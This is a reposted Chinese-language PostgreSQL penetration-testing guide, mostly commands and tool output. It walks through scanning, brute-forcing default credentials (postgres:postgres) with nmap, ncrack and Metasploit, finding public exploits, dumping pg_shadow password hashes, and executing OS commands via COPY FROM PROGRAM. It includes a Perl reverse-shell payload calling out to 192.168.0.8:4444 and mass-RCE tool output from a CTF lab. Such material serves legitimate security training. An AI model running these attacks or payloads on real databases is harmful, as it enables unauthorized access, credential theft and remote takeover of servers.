目录

PostgreSQL Pentesting

目录

本文为摘录(或转载),侵删,原文为: https://hackviser.com/tactics/pentesting/services/postgresql

1 Reminder - definitions 提醒 - 定义

  • 模式(SCHEMA)
    PostgreSQL 的模式用来存放除了角色和表空间之外的所有对象,类似于命名空间的结构,允许同名对象在同一个数据库中共存,方便管理不同来源或用途的表和函数等。默认情况下,每次创建新的数据库都会含有一个叫做“public”的模式,但实际上还可以添加更多的模式,而且“public”模式的存在并不是必须的。
    • 表(TABLES)
      数据库存储数据的最基本单元就是表,数据以行、列的形式被组织起来。

    • 视图(VIEWS)
      视图是由一条查询语句定义而成的虚拟表,在查询的时候从相关的原表中动态地提取出数据,并不是直接存储数据的实体。 视图是一种可以被使用直到被删除的字典对象,不过视图本身一般是不可更新的。

    • 用户
      PostgreSQL 数据库的默认超级管理员账户。拥有对数据库中的所有对象拥有极高的权限。

    • 默认角色(DEFAULT ROLES)
      PostgreSQL 设置了一系列默认角色。这些角色通常属于访问某些数据库的特权功能和私有信息所必须的,以便处理常规的、需要高权限的任务。数据库管理员可以根据需要将这些默认角色授予数据库中的用户或者其他自定义的第三方角色,从而允许这些用户和角色访问这些特权功能和信息。

  • 面向过程的语言(PROCEDURAL LANGUAGES)

    • 流程性语言允许开发人员通过自定义子例程(函数)来扩展数据库,这些通常被称为存储过程。*
    • 语言被分为两组:
      • 用保证安全的语言编写的过程是沙盒化的,任何用户都可以安全地创建和使用。
      • 用不安全的语言编写的过程只能由超级用户创建,因为它们允许绕过数据库的安全限制,但也可以访问数据库外的资源。像 Perl 这样的有些语言同时提供了安全版和不安全版。
    • PostgreSQL 内置支持三种过程性语言:
      • 纯 SQL(安全的)
      • PostgreSQL 过程语言(PL/pgSQL)(安全的)
      • C(不安全的)。
    • PostgreSQL 允许通过扩展将过程语言装入数据库。
      PostgreSQL 自带三种语言扩展以支持 Perl、Python 和 Tcl。
  • 身份验证机制(AUTHENTICATION MECHANISMS)
    PostgreSQL 原生支持大量的外部身份验证机制,包括以下方式:

    • 密码 :可以使用 SCRAM-SHA-256(从 PostgreSQL 10 开始提供)、MD5 或纯文本方式。
    • 通用安全服务应用程序编程接口(GSSAPI)
    • 安全支持提供程序接口(SSPI)
    • Kerberos
    • ident (把由 ident 服务器提供的操作系统用户名映射为数据库用户名)
    • Peer (将本地用户名映射到数据库用户名)
    • 轻量级目录访问协议(LDAP)
    • Active Directory(活动目录,AD)
    • RADIUS
    • 证书
    • 可插拔的身份验证模块(PAM)

    这些方法是在集群的基于主机的身份验证配置文件(pg_hba.conf)中指定的,它会确定哪些连接是被允许的。这允许控制哪个用户能够连接到哪个数据库,他们可以从哪里连接(IP 地址、IP 地址范围、域套接字),将执行哪种身份验证系统,以及连接是否必须使用传输层安全(TLS)。

2 数据库渗透测试 - 攻击列表

  • 黑盒渗透测试(从未经授权的攻击者到可以登录数据库的用户)

    • 尝试暴力攻击,来检测是否存在默认的或者容易猜到的数据库用户名密码。
    • 在可以连接到 PostgreSQL 数据库的 Web 应用程序中,检测是否存在 SQL 注入漏洞,能让我们运行未经授权的 SQL 查询语句。
    • 攻击了一台服务器,在里面发现了硬编码在脚本、配置文件、.bash_history 文件或者应用程序源代码里的明文 PostgreSQL 数据库账号密码。
    • 运行针对 PostgreSQL 数据库的远程漏洞利用代码(0 day 漏洞,或者这个数据库缺少相应漏洞修复补丁)。
    • 经过中间人攻击,意外截获了明文或者已经被哈希加密的账号密码(比如通过 ARP 缓存投毒的方式)。
  • 灰盒渗透测试(提升权限,成为数据库管理员或者在数据库所在的服务器操作系统上运行任意操作系统命令)
    灰盒测试一般意味着测试者有一定程度的系统访问权限。这种测试主要是尝试提升现有的权限,比如从普通数据库用户权限提升为数据库管理员权限,或者不仅仅是控制数据库,还想通过对数据库的操作来影响到支撑 PostgreSQL 数据库的服务器操作系统,比如执行一些操作系统级别的命令,进行服务器内部的横向移动等操作,具体的测试方法依赖于数据库的配置、漏洞以及系统的细节情况而有所不同,不能像黑盒测试部分那样列出一招一式的具体攻击手法,需要根据实际情况灵活发挥技术水平。

3 如何通过网络 TCP 端口扫描定位 PostgreSQL 数据库

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
pentester@KaliLinux> nmap -Pn -sS -sV -vv -p 5432 IP-address
pentester@KaliLinux> nmap -v -Pn -sS -sV -p- 192.168.75.149

Example:
        Nmap scan report for 192.168.1.104
        Host is up (0.00044s latency).

        PORT      STATE SERVICE     VERSION
        5432/tcp  open  postgresql  PostgreSQL DB 9.3.3 - 9.3.5
        |_ssl-date: TLS randomness does not represent time

4 如何执行暴力攻击以识别有效的 PostgreSQL 数据库凭证(登录名和密码)

  • 默认数据库管理员账户及密码 :=postgres:postgres=(用户名是=postgres=,密码也是=postgres=)
  • 其他常见账号密码
    • =admin:admin=(用户名是 admin,密码也是 admin)
    • =admin:postgres=(用户名是 admin,密码是 postgres)
    • =admin:password=(用户名是 admin,密码是 password)

4.1 NMAP - ‘pgsql-brute’ module (https://nmap.org)

1
2
3
4
5
6
pentester@KaliLinux> nmap -p 5432 --script pgsql-brute <host>
Script Output
5432/tcp open  pgsql
| pgsql-brute:
|   postgres:postgres => Valid credentials
|_  test:test => Valid credentials

4.2 * NCRACK tool (https://nmap.org/ncrack/)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
ncrack psql://sqlserver -u postgres -P /usr/share/wordlists/rockyou.txt

//warning: rockyou.txt does not contain by default 'postgres'

root@Security-Audit-01:/home/pentester# ncrack psql://192.168.1.26 -u postgres -P /usr/share/wordlists/rockyou2.txt
Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-03-20 02:22 CET
Stats: 0:00:06 elapsed; 0 services completed (1 total)
Rate: 1040.39; Found: 1; About 0.03% done
(press 'p' to list discovered credentials)

Discovered credentials for psql on 192.168.1.26 5432/tcp:
192.168.1.26 5432/tcp psql: 'postgres' 'postgres'

caught SIGINT signal, cleaning up

4.3 * Metasploit - ‘postgres_login’ module (https://www.metasploit.com)

1
2
3
4
5
6
7
pentester@KaliLinux> msfconsole
        > auxiliary/scanner/postgres/postgres_login
        > show options
        > set RHOSTS <Target IP>
        > set USERPASS_FILE /root/<your_username_file>
        > set PASS_FILE /root/<your_password_file>
        > exploit

Example:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
msf5 > use auxiliary/scanner/postgres/postgres_login
msf5 auxiliary(scanner/postgres/postgres_login) > options
Module options (auxiliary/scanner/postgres/postgres_login):

   Name              Current Setting                                                               Required  Description
   ----              ---------------                                                               --------  -----------
   BLANK_PASSWORDS   false                                                                         no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                             yes       How fast to bruteforce, from 0 to 5
   DATABASE          template1                                                                     yes       The database to authenticate against
   DB_ALL_CREDS      false                                                                         no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                                         no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                                         no        Add all users in the current database to the list
   PASSWORD                                                                                        no        A specific password to authenticate with
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt      no        File containing passwords, one per line
   Proxies                                                                                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RETURN_ROWSET     true                                                                          no        Set to true to see query result sets
   RHOSTS                                                                                          yes       The target address range or CIDR identifier
   RPORT             5432                                                                          yes       The target port
   STOP_ON_SUCCESS   false                                                                         yes       Stop guessing when a credential works for a host
   THREADS           1                                                                             yes       The number of concurrent threads
   USERNAME                                                                                        no        A specific username to authenticate as
   USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt  no        File containing (space-seperated) users and passwords, one pair per line
   USER_AS_PASS      false                                                                         no        Try the username as the password for all users
   USER_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt      no        File containing users, one per line
   VERBOSE           true                                                                          yes       Whether to print output for all attempts

msf5 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 192.168.1.104
RHOSTS => 192.168.1.104
msf5 auxiliary(scanner/postgres/postgres_login) > run

[!] No active DB -- Credential data will not be saved!
[-] 192.168.1.104:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)

[+] 192.168.1.104:5432 - Login Successful: postgres:postgres@template1

[-] 192.168.1.104:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf5 auxiliary(scanner/postgres/postgres_login) >

5 如何检测数据库是否存在已知的未修复的漏洞(例如,是否为过时的数据库版本、缺少安全补丁)

  • 第一步:使用各种工具(如 Nmap 或 Metasploit 发现模块)确定数据库的版本(版本号可能会披露在软件横幅中或者可以通过识别服务的行为等手段检测到)。如果没有数据库登录凭证,就只能采用这种方式; 如果当时已经拥有数据库的登录凭证,最好登录到数据库,确认其确切的版本号及其补丁级别。
  • 第二步:去互联网上(例如数据库提供方的网站、www.cvedetails.com)查找版本是否还在被支持,并且是否易受已知漏洞的攻击 。
  • 第三步:使用各种工具和资源,包括 ExploitDB / SearchSploit、Metasploit、Github 等来查找是否已经有记录的与之对应的漏洞利用方案。

5.1 Metasploit 的“PostgreSQL Version Probe”模块

除了手动使用 PGSQL 登录或使用 NMAP 之外,Metasploit 的“PostgreSQL Version Probe”模块也可以枚举 PostgreSQL 服务器的版本。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
> auxiliary/scanner/postgres/postgres_version
> https://www.rapid7.com/db/modules/auxiliary/scanner/postgres/postgres_version

msf5 > use auxiliary/scanner/postgres/postgres_version
msf5 auxiliary(scanner/postgres/postgres_version) > options

Module options (auxiliary/scanner/postgres/postgres_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  template1        yes       The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT     5432             yes       The target port
   THREADS   1                yes       The number of concurrent threads
   USERNAME  postgres         yes       The username to authenticate as
   VERBOSE   false            no        Enable verbose output

msf5 auxiliary(scanner/postgres/postgres_version) > set RHOSTS 192.168.1.104
RHOSTS => 192.168.1.104
msf5 auxiliary(scanner/postgres/postgres_version) > run

[*] 192.168.1.104:5432 Postgres - Version PostgreSQL 9.3.4 on x86_64-unknown-linux-gnu, compiled by gcc (Ubuntu 4.8.2-16ubuntu6) 4.8.2, 64-bit (Post-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

5.2 使用 SearchSploit 在 ExploitDB 数据库中查找公开的漏洞利用方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
pentester@Security-Audit-01:~$ searchsploit postgresql
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                                                   |  Path
                                                                                                                                                                 | (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
PostgreSQL - 'bitsubstr' Buffer Overflow                                                                                                                         | exploits/linux/dos/33571.txt
PostgreSQL 6.3.2/6.5.3 - Cleartext Passwords                                                                                                                     | exploits/immunix/local/19875.txt
PostgreSQL 7.x - Multiple Vulnerabilities                                                                                                                        | exploits/linux/dos/25076.c
PostgreSQL 8.01 - Remote Reboot (Denial of Service)                                                                                                              | exploits/multiple/dos/946.c
PostgreSQL 8.2/8.3/8.4 - UDF for Command Execution                                                                                                               | exploits/linux/local/7855.txt
PostgreSQL 8.3.6 - Conversion Encoding Remote Denial of Service                                                                                                  | exploits/linux/dos/32849.txt
PostgreSQL 8.3.6 - Low Cost Function Information Disclosure                                                                                                      | exploits/multiple/local/32847.txt
PostgreSQL 8.4.1 - JOIN Hashtable Size Integer Overflow Denial of Service                                                                                        | exploits/multiple/dos/33729.txt
PostgreSQL 9.3 - COPY FROM PROGRAM Command Execution (Metasploit)                                                                                                | exploits/multiple/remote/46813.rb
PostgreSQL 9.4-0.5.3 - Privilege Escalation                                                                                                                      | exploits/linux/local/45184.sh
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------

5.3 查看 Metasploit 为 PostgreSQL 提供的可用模块和漏洞利用程序。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
msf5 > search postgres

Matching Modules
================

Name                                                       Disclosure Date  Rank       Check  Description
----                                                       ---------------  ----       -----  -----------
auxiliary/admin/http/manageengine_pmp_privesc              2014-11-08       normal     Yes    ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
auxiliary/admin/http/rails_devise_pass_reset               2013-01-28       normal     No     Ruby on Rails Devise Authentication Password Reset
auxiliary/admin/postgres/postgres_readfile                                  normal     No     PostgreSQL Server Generic Query
auxiliary/admin/postgres/postgres_sql                                       normal     No     PostgreSQL Server Generic Query
auxiliary/analyze/jtr_postgres_fast                                         normal     No     John the Ripper Postgres SQL Password Cracker
auxiliary/scanner/postgres/postgres_dbname_flag_injection                   normal     Yes    PostgreSQL Database Name Command Line Flag Injection
auxiliary/scanner/postgres/postgres_hashdump                                normal     Yes    Postgres Password Hashdump
auxiliary/scanner/postgres/postgres_login                                   normal     Yes    PostgreSQL Login Utility
auxiliary/scanner/postgres/postgres_schemadump                              normal     Yes    Postgres Schema Dump
auxiliary/scanner/postgres/postgres_version                                 normal     Yes    PostgreSQL Version Probe
auxiliary/server/capture/postgresql                                         normal     No     Authentication Capture: PostgreSQL
exploit/linux/postgres/postgres_payload                    2007-06-05       excellent  Yes    PostgreSQL for Linux Payload Execution
exploit/multi/http/manage_engine_dc_pmp_sqli               2014-06-08       excellent  Yes    ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
exploit/multi/postgres/postgres_createlang                 2016-01-01       good       Yes    PostgreSQL CREATE LANGUAGE Execution
exploit/windows/misc/manageengine_eventlog_analyzer_rce    2015-07-11       manual     Yes    ManageEngine EventLog Analyzer Remote Code Execution
exploit/windows/postgres/postgres_payload                  2009-04-10       excellent  Yes    PostgreSQL for Microsoft Windows Payload Execution
post/linux/gather/enum_users_history                                        normal     No     Linux Gather User History

6 如何使用有效凭证登录 PostgreSQL 数据库

6.1 * PostgreSQL client

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pentester@KaliLinux> psql -h 192.168.1.26 -U postgres -W

Password for user postgres: <enter password>
pgsql>
pgsql> SELECT VERSION();
                                       version
       -----------------------------------------------------------------------------------------------
       PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 	4.2.3-2ubuntu4)
       (1 row)
pgsql>
pgsql> \l
                                    List of databases
      Name    |  Owner   | Encoding |   Access privileges
   -----------+----------+----------+-----------------------
    postgres  | postgres | UTF8     |
    template0 | postgres | UTF8     | =c/postgres          +
              |          |          | postgres=CTc/postgres
    template1 | postgres | UTF8     | =c/postgres          +
             |          |          | postgres=CTc/postgres
   (3 rows)

pgsql>
pgsql> \du
                     List of roles
     Role name |            Attributes             | Member of
    -----------+-----------------------------------+-----------
     postgres  | Superuser, Create role, Create DB | {}

6.2 DbVisualizer (GUI multi-database client; https://dbvis.com)

1
2
3
4
5
6
7
8
pentester@LinuxVM > sudo find / -name dbvis
                /root/DbVisualizer/wrapper/classes/com/onseven/dbvis
                /root/DbVisualizer/dbvis
                /usr/local/bin/dbvis

pentester@LinuxVM > sudo su
root@LinuxVM > cd /root/DbVisualizer/
root@LinuxVM > ./dbvis

On the GUI:

1
2
3
4
5
6
7
> Go to "TOOLS"
> Go to "New Connection Wizard"
> Enter "PostgreSQL pentest training"
> Select Database Connector for PostgreSQL
> Enter all the right info
> "Ping Server"
> "Connect"

6.3 * Metasploit - ‘PostgreSQL Server Generic Query’ module

此模块允许在拥有适当凭证的前提下,针对 PostgreSQL 实例执行简单的 SQL 语句。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
msf5 auxiliary(admin/postgres/postgres_sql) > options
Module options (auxiliary/admin/postgres/postgres_sql):
   Name           Current Setting   Required  Description
   ----           ---------------   --------  -----------
   DATABASE       template1         yes       The database to authenticate against
   PASSWORD       postgres          no        The password for the specified username. Leave blank for a random password.
   RETURN_ROWSET  true              no        Set to true to see query result sets
   RHOSTS         192.168.1.26      yes       The target address range or CIDR identifier
   RPORT          5432              yes       The target port
   SQL            select version()  no        The SQL query to execute
   USERNAME       postgres          yes       The username to authenticate as
   VERBOSE        false             no        Enable verbose output
msf5 auxiliary(admin/postgres/postgres_sql) > run
Query Text: 'select version()'
==============================
    version
    -------
    PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Auxiliary module execution completed
msf5 auxiliary(admin/postgres/postgres_sql) > options
Module options (auxiliary/admin/postgres/postgres_sql):
   Name           Current Setting                                             Required  Description
   ----           ---------------                                             --------  -----------
   DATABASE       template1                                                   yes       The database to authenticate against
   PASSWORD       postgres                                                    no        The password for the specified username. Leave blank for a random password.
   RETURN_ROWSET  true                                                        no        Set to true to see query result sets
   RHOSTS         192.168.1.26                                                yes       The target address range or CIDR identifier
   RPORT          5432                                                        yes       The target port
   SQL            SELECT usename, usesysid, usesuper, passwd FROM pg_shadow;  no        The SQL query to execute
   USERNAME       postgres                                                    yes       The username to authenticate as
   VERBOSE        false                                                       no        Enable verbose output
msf5 auxiliary(admin/postgres/postgres_sql) > run
Query Text: 'SELECT usename, usesysid, usesuper, passwd FROM pg_shadow;'
========================================================================
    usename   usesysid  usesuper  passwd
    -------   --------  --------  ------
    postgres  10        t         md53175bce1d3201d16594cebf9d7eb3f9d
[*] Auxiliary module execution completed

7 如何识别并利用数据库和操作系统权限提升漏洞

7.1 检查各种有用信息(比如用户列表、数据库密码策略、谁是数据管理员等)

7.1.1 一些有趣的标志

要查看全部,请根据 psql 版本使用 -h--help

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
-E: will describe the underlaying queries of the \ commands (cool for learning!)
-l: psql will list all databases and then exit (useful if the user you connect with doesn't has a default database, like at AWS RDS)

"\d" commands support additional param of __schema__.name__ and accept wildcards like *.*
\q: Quit/Exit
\c __database__		Connect to a database
\d __table__		Show table definition including triggers
\d+ __table__		More detailed table definition including description and physical disk size
\l				List databases
\dy			List events
\df 			List functions
\di 			List indexes
\dn 			List schemas
\dt *.* 			List tables from all schemas (if *.* is omitted will only show SEARCH_PATH ones)
\dT+ 			List all data types
\dv			List views
\du			List of users and roles
\df+ __function__  	Show function SQL code.
\x 			Pretty-format query results instead of the not-so-useful ASCII tables

\copy (SELECT * FROM __table_name__) TO 'file_path_and_name.csv' WITH CSV: Export a table as CSV

\i filename		Execute psql commands from a file
\q				Quit psql
1
2
3
4
5
6
\du 								List users and roles
\du username 							List a username if present.
create role __test1__ 						Create a role with an existing username.
create role __test2__ noinherit login password __passsword__; 	Create a role with username and password.
set role __test__; 						Change role for current session to __test__.
grant __test2__ to __test1__; 					Allow __test1__ to set its role as __test2__.

7.1.3 To display the privileges of a specific suer

1
2
3
4
5
6
7
8
9
SELECT
    table_catalog,
    table_schema,
    table_name,
    privilege_type
FROM
    information_schema.table_privileges
WHERE
    grantee = 'example_user';

7.1.4 Useful SQL queries

查询语句作用
SELECT * FROM pg_user;Display the privileges of each user
SELECT * FROM pg_roles;Display the database roles of each user
SELECT VERSION();Display the database version
\\connect db_nameChange current database
SELECT * FROM pg_shadow;Extract the password hashes
pg_dump -Fc dbname > filenameBack up a database (database backups are compressed by default)
pg_restore -d dbname filenameRestore from backup
GRANT pg_read_server_files TO test_user;Grant privileges to a user
SELECT * FROM pg_shadow;Dump the database password hashes

7.1.5 Default Roles

角色允许的访问权限
pg_read_all_settings读取所有配置变量,包括通常只对超级用户可见的变量。
pg_read_all_stats读取所有 pg_stat_/ 视图并使用各种与统计信息相关的扩展,包括通常只对超级用户可见的内容。
pg_stat_scan_tables执行可能对表施加 ACCESS SHARE 锁的监控功能,这些锁可能会持续很长时间。
pg_monitor读取和执行各种监控视图和函数。这个角色是 pg_read_all_settings、pg_read_all_stats 和 pg_stat_scan_tables 的成员。
pg_signal_backend向另一个后端发送信号以取消查询或终止其会话。
pg_read_server_files使用 COPY 和其他文件访问功能读取服务器上数据库可以访问的任何位置的文件。
pg_write_server_files使用 COPY 和其他文件访问功能在服务器上数据库可以访问的任何位置写入文件。
pg_execute_server_program作为运行数据库的用户,在服务器上执行程序,以及执行允许在服务器端运行程序的 COPY 和其他函数。

7.1.6 Role Attributes

一个数据库角色可以具备多个属性,这些属性定义了它的权限以及与客户端认证系统的交互方式。

  • 登录权限(login privilege):

    • 只有具有 LOGIN 属性的角色才能作为数据库连接的初始角色名称。
    • 拥有 LOGIN 属性的角色可以被视为“数据库用户”。
    • 要创建一个带有登录权限的角色,可以使用“CREATE ROLE name LOGIN;”或者“CREATE USER name;”。
  • “超级用户”状态(‘superuser’ status):

    • “超级用户”(‘superuser’)可以绕过所有权限检查,但 不包括登录权限
    • 这是一个危险的特权,*切勿滥加利用* ,最好是利用非超级用户角色完成大多数工作 。
    • 要创建一个新的数据库超级用户,就使用“CREATE ROLE name SUPERUSER”。
    • 必须以已经是超级用户的角色来执行这一操作。

7.1.7 List of roles/users

1
2
3
4
5
6
7
8
postgres=# \du
                List of roles
Role name     |                         Attributes                         | Member of
---------------+------------------------------------------------------------+-----------
auditor       | Superuser, Replication                                     | {}
doadmin       | Create role, Create DB, Replication, Bypass RLS            | {}
postgres      | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
user	      | 					                   | {}

Note:

1
2
create role pentester nosuperuser login nocreatedb nocreaterole Password 'Password1';
create role auditor nosuperuser login nocreatedb nocreaterole Password 'Password1';

7.1.8 Metasploit - ‘Postgres Schema Dump’ module

这个模块可以从 PostgreSQL 数据库服务器中提取模式信息。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf5 auxiliary(scanner/postgres/postgres_schemadump) > options
Module options (auxiliary/scanner/postgres/postgres_schemadump):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   DATABASE         postgres         yes       The database to authenticate against
   DISPLAY_RESULTS  true             yes       Display the Results to the Screen
   PASSWORD         postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS                            yes       The target address range or CIDR identifier
   RPORT            5432             yes       The target port
   THREADS          1                yes       The number of concurrent threads
   USERNAME         postgres         yes       The username to authenticate as

msf5 auxiliary(scanner/postgres/postgres_schemadump) > set RHOSTS 192.168.1.26
RHOSTS => 192.168.1.26
msf5 auxiliary(scanner/postgres/postgres_schemadump) > run

[+] Postgres SQL Server Schema
 Host: 192.168.1.26
 Port: 5432
 ====================

--- []

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

7.1.9 Audit Tool - PostgreSQL STIG Compliance Validator (pgStigCheck)

1
2
3
=> PostgreSQL STIG Compliance Validator (pgStigCheck) for InSpec is an open source compliance testing solution for PostgreSQL.
=> The PostgreSQL Security Technical Implementation Guide (STIG) by the United States Defense Information Systems Agency (DISA) offers security-conscious enterprises a comprehensive guide for the configuration and operation of open source PostgreSQL.
=> https://github.com/CrunchyData/pgstigcheck-inspec

7.2 数据库和操作系统提升权限 - 使用“从程序复制(COPY FROM PROGRAM)”执行操作系统命令

  • COPY .. PROGRAM 功能明确指出,只有被授予了 ‘superuser’ 特权或者默认角色 ‘pg_execute_server_program’ 的数据库用户才能够执行这个功能。
  • 根据设计,这个功能使得那些被授予了 ‘superuser’ 或者 ‘pg_execute_server_program’ 的用户,能够以 PostgreSQL 服务器运行在底层的操作系统的身份(一般身份是 “postgres”)来执行操作。
  • 默认情况下,这个功能处于启用状态,修改者可以修改、滥用这个功能,在 Windows、Linux 和 macOS 上运行任意的操作系统指令。
  • 在 PostgreSQL 9.3 中添加的 COPY .. PROGRAM 功能,没有改变前面所说的任何一点,而是在已经存在的相同的安全边界内,添加了一个新的命令。
  • 引文指出,在 PostgreSQL 中,超级用户可以在丝毫不使用 ‘COPY FROM PROGRAM’ 的情况下,以服务器身份来执行检测操作系统命令。

7.2.1 Manual exploit

  • 使用函数 COPY TO/FROM PROGRAM 执行操作系统命令的 SQL 查询

    • DROP TABLE IF EXISTS cmd_exec;

    • CREATE TABLE cmd_exec(cmd_output text);

    • COPY cmd_exec FROM PROGRAM ‘id’;

    • SELECT * FROM cmd_exec;

    • DROP TABLE IF EXISTS cmd_exec;

      Example:

      1
      2
      3
      4
      
      root@Security-Audit-01:~# psql -h 192.168.1.104 -U postgres -W
      Password for user postgres:
      psql (10.4 (Debian 10.4-2), server 9.3.4)
      Type "help" for help.
      
       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      13
      14
      
      postgres=# CREATE TABLE cmd_exec(cmd_output text);
      CREATE TABLE
      
      postgres=# COPY cmd_exec FROM PROGRAM 'id';
      COPY 1
      
      postgres=# SELECT * FROM cmd_exec;
                             cmd_output
      ------------------------------------------------------------------------
       uid=111(postgres) gid=121(postgres) groups=121(postgres),109(ssl-cert)
      (1 row)
      
      postgres=# DROP TABLE IF EXISTS cmd_exec;
      DROP TABLE
      
  • Payload to run a Perl reverse shell (not tested)

    1
    2
    3
    
    COPY cmd_exec
    FROM
        PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.8:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
    

7.2.2 Metasploit - ‘PostgreSQL COPY FROM PROGRAM Command Execution’ module

7.2.3 PSQL-MASS-RCE script (https://github.com/attackercan/psql-mass-rce)

psql-mass-rce 是一个渗透测试工具,能够让使用者方便地对网络中的许多 PostgreSQL 服务器进行远程命令执行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
root@Security-Audit-01:~/Desktop/CTFs/Typhoon/struts/postgres# python ./psql-mass-rce.py 192.168.1.104 --command 'whoami'
[x] Starting host 192.168.1.104:5432
('[+] Good credentials:', 'postgres:postgres')
[!] RCE 'whoami'

postgres


root@Security-Audit-01:~/Desktop/CTFs/Typhoon/struts/postgres# python ./psql-mass-rce.py 192.168.1.104 --command 'hostname'
[x] Starting host 192.168.1.104:5432
('[+] Good credentials:', 'postgres:postgres')
[!] RCE 'hostname'

typhoon.local


root@Security-Audit-01:~/Desktop/CTFs/Typhoon/struts/postgres# python ./psql-mass-rce.py 192.168.1.104 --command 'ifconfig'
[x] Starting host 192.168.1.104:5432
('[+] Good credentials:', 'postgres:postgres')
[!] RCE 'ifconfig'

docker0   Link encap:Ethernet  HWaddr 02:42:a8:79:d6:eb
          inet addr:172.17.0.1  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

eth0      Link encap:Ethernet  HWaddr 08:00:27:34:bf:f6
          inet addr:192.168.1.104  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: 2a01:e35:2fef:d7e0:f8ff:85f4:bffc:83cd/64 Scope:Global
          inet6 addr: 2a01:e35:2fef:d7e0:a00:27ff:fe34:bff6/64 Scope:Global
